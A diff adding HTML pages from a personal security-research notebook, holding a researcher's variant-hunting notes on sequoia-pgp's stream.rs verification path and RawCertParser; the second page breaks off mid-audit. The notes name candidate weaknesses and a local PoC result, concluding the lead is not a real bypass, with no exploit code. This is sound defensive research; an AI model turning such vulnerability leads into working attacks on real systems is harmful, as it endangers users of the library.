| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-2/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="sequoia-pgp hunt - iteration 2 (stream.rs read-after-verify-fail) | Zion Boggan"> | |
| + | <meta property="og:description" content="Iteration 2: parser audit and candidate ranking."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-2/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="sequoia-pgp hunt - iteration 2 (stream.rs read-after-verify-fail) | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Iteration 2: parser audit and candidate ranking."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"sequoia-pgp hunt - iteration 2 (stream.rs read-after-verify-fail)","description":"Iteration 2: parser audit and candidate ranking.","url":"https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-2/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Methodology</div> | |
| + | <h1>sequoia-pgp hunt, iteration 2 (stream.rs read-after-verify-fail)</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p>Time: 2026-04-17 ~08:47 UTC | |
| + | Target file: openpgp/src/parse/stream.rs | |
| + | Focus: CVE-2025-47934 analog in Verifier/Decryptor read path.</p> | |
| + | <h2>Architecture</h2> | |
| + | <ul> | |
| + | <li><code>Verifier<H></code> wraps <code>Decryptor<NoDecryptionHelper<H>></code>, single implementation.</li> | |
| + | <li><code>Decryptor::read_helper</code> streams bytes from a Literal Data packet, holding | |
| + | back <code>buffer_size</code> bytes so verification (<code>finish_maybe</code> → <code>verify_signatures</code> | |
| + | → <code>helper.check</code>) runs BEFORE the final bytes are delivered.</li> | |
| + | <li>Reserve-hold-back design is the correct counter-pattern to the openpgpjs bug.</li> | |
| + | <li><code>helper.check(results)</code> is the last step; returns <code>Err</code> if the user’s | |
| + | <code>VerificationHelper::check</code> rejects the MessageStructure.</li> | |
| + | </ul> | |
| + | <h2>Candidate: reserve populated before verify error returns (stream.rs:2660-2765)</h2> | |
| + | <p>Sequence in <code>finish_maybe()</code>: | |
| + | 1. Line 2662: <code>self.oppr.take()</code>, oppr becomes None. | |
| + | 2. Line 2671: <code>self.reserve = Some(Protected::from(pp.steal_eof()?))</code> - | |
| + | <strong>reserve is populated</strong>. | |
| + | 3. Lines 2673-2743: loop processing remaining packets (signatures, MDC). | |
| + | 4. Line 2756: <code>self.verify_signatures()</code>, calls <code>helper.check(results)</code> at | |
| + | stream.rs:2985. Returns <code>Err</code> on bad signature.</p> | |
| + | <p>If step 3 or step 4 returns <code>Err</code>, <code>finish_maybe</code> propagates the error. BUT | |
| + | <code>self.reserve</code> remains populated and <code>self.oppr</code> is <code>None</code>. On the <strong>next</strong> | |
| + | call to <code>read_helper</code>, line 2999 (<code>if let Some(ref mut reserve) = self.reserve</code>) | |
| + | fires and drains the reserve into the caller’s buffer.</p> | |
| + | <h2>Impact analysis</h2> | |
| + | <ul> | |
| + | <li>Hardening gap, not a slam-dunk P1. A correct caller (<code>read_to_end</code> or | |
| + | similar) sees the initial <code>Err</code> and stops, Rust stdlib guarantees no bytes | |
| + | were read into their buffer for the errored call. They never read again.</li> | |
| + | <li><strong>Downstream misuse</strong> turns it into a vuln: any caller that catches <code>Err</code> | |
| + | from <code>Verifier::read</code> and continues reading (e.g. reads in a loop with | |
| + | <code>while let Ok(n) = r.read(...)</code> and treats subsequent <code>Ok(n)</code> bytes as | |
| + | verified) gets <strong>attacker-tampered bytes after a <code>helper.check</code> rejection</strong>.</li> | |
| + | <li>Downstream audit needed: sq-cli, sequoia-cert-store, any caller that does | |
| + | <code>loop { match read... }</code> and doesn’t quit the whole verification on Err.</li> | |
| + | </ul> | |
| + | <h2>Suggested fix pattern</h2> | |
| + | <p>Clear <code>self.reserve</code> in the error path of <code>finish_maybe</code>, or delay assignment | |
| + | until after <code>verify_signatures()</code> succeeds. Preferred: reorder so | |
| + | <code>verify_signatures</code> runs before reserve assignment, OR wrap reserve in a | |
| + | “verified” flag only set true on success.</p> | |
| + | <h2>Next iteration plan</h2> | |
| + | <ol> | |
| + | <li>Write a minimal Rust PoC that exercises the read-after-err path on a | |
| + | tampered message. If it returns tampered bytes, we have a real hardening | |
| + | finding, severity depends on downstream misuse incidence.</li> | |
| + | <li>In parallel, audit RawCertParser dispatch (RUSTSEC-2024-0345 variant class), look for parser match arms that don’t advance the cursor on fall-through.</li> | |
| + | <li>Check sq-cli (separate repo) for any <code>read</code> loop that might retry on Err.</li> | |
| + | </ol> | |
| + | <h2>Iteration 2 closure (PoC result)</h2> | |
| + | <p>PoC built and ran (probe at /tmp/probe). Empirical result: | |
| + | - <code>VerifierBuilder::with_policy(... helper)</code> itself returned <code>Err: no good signature</code>. | |
| + | - No <code>Verifier</code> object existed to call <code>read()</code> on.</p> | |
| + | <p>Re-read of stream.rs:2500-2513 and :2510 explains: during builder setup the parser | |
| + | loop encounters <code>Packet::Literal</code>, calls <code>v.finish_maybe()?</code> which (for messages | |
| + | small enough that data_len ≤ buffer_size) runs <code>verify_signatures()</code> synchronously. | |
| + | Verification failure surfaces during <code>with_policy</code>, not as a deferred Err on read().</p> | |
| + | <p>For LARGE messages (> DEFAULT_BUFFER_SIZE = 25 MB), verification IS deferred to | |
| + | read-EOF. But the caller has already received ~25 MB of unverified pre-EOF chunks | |
| + | before reaching the verify gate. Treating those pre-EOF bytes as verified would be | |
| + | caller misuse, the documented contract is “treat data as verified only after | |
| + | read returns 0 (EOF)”. The reserve-leak adds nothing the caller doesn’t already have.</p> | |
| + | <p><strong>Verdict: NOT a CVE-2025-47934 analog.</strong> The openpgpjs bug delivered data that | |
| + | DIFFERED from the verified window. Sequoia delivers exactly the bytes hashed - | |
| + | the question is only WHEN the user can trust them, and the user trusts them at | |
| + | read=0. Reserve-leak after Err is a hardening surprise, not a verification bypass.</p> | |
| + | <p>Closing this lead. Pivoting to RUSTSEC-2024-0345 variant class (parser dispatch | |
| + | fall-through that doesn’t advance the cursor).</p> | |
| + | <hr><p style="color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace">Source · github.com/zionboggan/security-research-notebook · methodology/sequoia-pgp-variant-hunting-2.md</p> | |
| + | </div></div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"><a href="/">Portfolio</a><a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a><a href="/security-research-notebook/">Notebook</a><a href="mailto:zionboggan0@gmail.com">Email</a></div> | |
| + | <div class="note">Coordinated-disclosure research. Findings appear here only after the program's disclosure window closed, the patch shipped, or a CVE was published. No customer data was accessed.</div> | |
| + | </div></footer> | |
| + | </body></html> |
| @@ -0,0 +1,247 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"><head><meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>sequoia-pgp hunt, iteration 3 (RUSTSEC-2024-0345 variant audit) | Zion Boggan</title> | |
| + | <meta name="description" content="Iteration 3: results and what would not be a finding."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | .detail-hero{padding:40px 0 26px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} | |
| + | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} | |
| + | .content{padding:8px 0 0;max-width:840px;} | |
| + | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} | |
| + | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} | |
| + | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} | |
| + | .content p{color:var(--soft);margin:0 0 15px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} | |
| + | .content li{margin:5px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content a{color:var(--accent);} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} | |
| + | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} | |
| + | /* notebook index */ | |
| + | .nbgroup{margin:40px 0 0;} | |
| + | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} | |
| + | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} | |
| + | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .nbtable tr{border-top:1px solid var(--line);} | |
| + | .nbtable tr:first-child{border-top:none;} | |
| + | .nbtable tr:hover{background:var(--panel);} | |
| + | .nbtable td{padding:14px 16px;vertical-align:top;} | |
| + | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} | |
| + | .nbtable .ti a{font-weight:600;color:var(--ink);} | |
| + | .nbtable .ti a:hover{color:var(--accent);} | |
| + | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} | |
| + | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} | |
| + | </style><!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-3/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="sequoia-pgp hunt - iteration 3 (RUSTSEC-2024-0345 variant audit) | Zion Boggan"> | |
| + | <meta property="og:description" content="Iteration 3: results and what would not be a finding."> | |
| + | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-3/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="sequoia-pgp hunt - iteration 3 (RUSTSEC-2024-0345 variant audit) | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Iteration 3: results and what would not be a finding."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"sequoia-pgp hunt - iteration 3 (RUSTSEC-2024-0345 variant audit)","description":"Iteration 3: results and what would not be a finding.","url":"https://zionboggan.com/security-research-notebook/sequoia-pgp-variant-hunting-3/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head><body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/security-research-notebook/">← Research notebook</a> | |
| + | <div class="kicker">Methodology</div> | |
| + | <h1>sequoia-pgp hunt, iteration 3 (RUSTSEC-2024-0345 variant audit)</h1> | |
| + | </div></header> | |
| + | <section><div class="wrap"><div class="content"> | |
| + | <p>Time: 2026-04-17 ~09:30 UTC | |
| + | Target: variant of CVE-2024-58261 (RawCertParser advance-on-unsupported-version bug)</p> | |
| + | <h2>RawCertParser current state (post-fix)</h2> | |
| + | <p>File: openpgp/src/cert/raw.rs (1712 LoC)</p> | |
| + | <p>Loop in <code>Iterator::next()</code> (line 740): | |
| + | - Reads header via <code>Header::parse(&mut reader)</code>. | |
| + | - Branches on <code>header.length()</code>:, <code>BodyLength::Full(l)</code> → <code>reader.data_consume_hard(l)</code>, body bytes consumed BEFORE Key::from_bytes., <code>BodyLength::Partial</code> → set done=true, error, break., <code>BodyLength::Indeterminate</code> → set done=true, error, break. | |
| + | - After consume: <code>processed = reader.total_out()</code> reflects total bytes consumed. | |
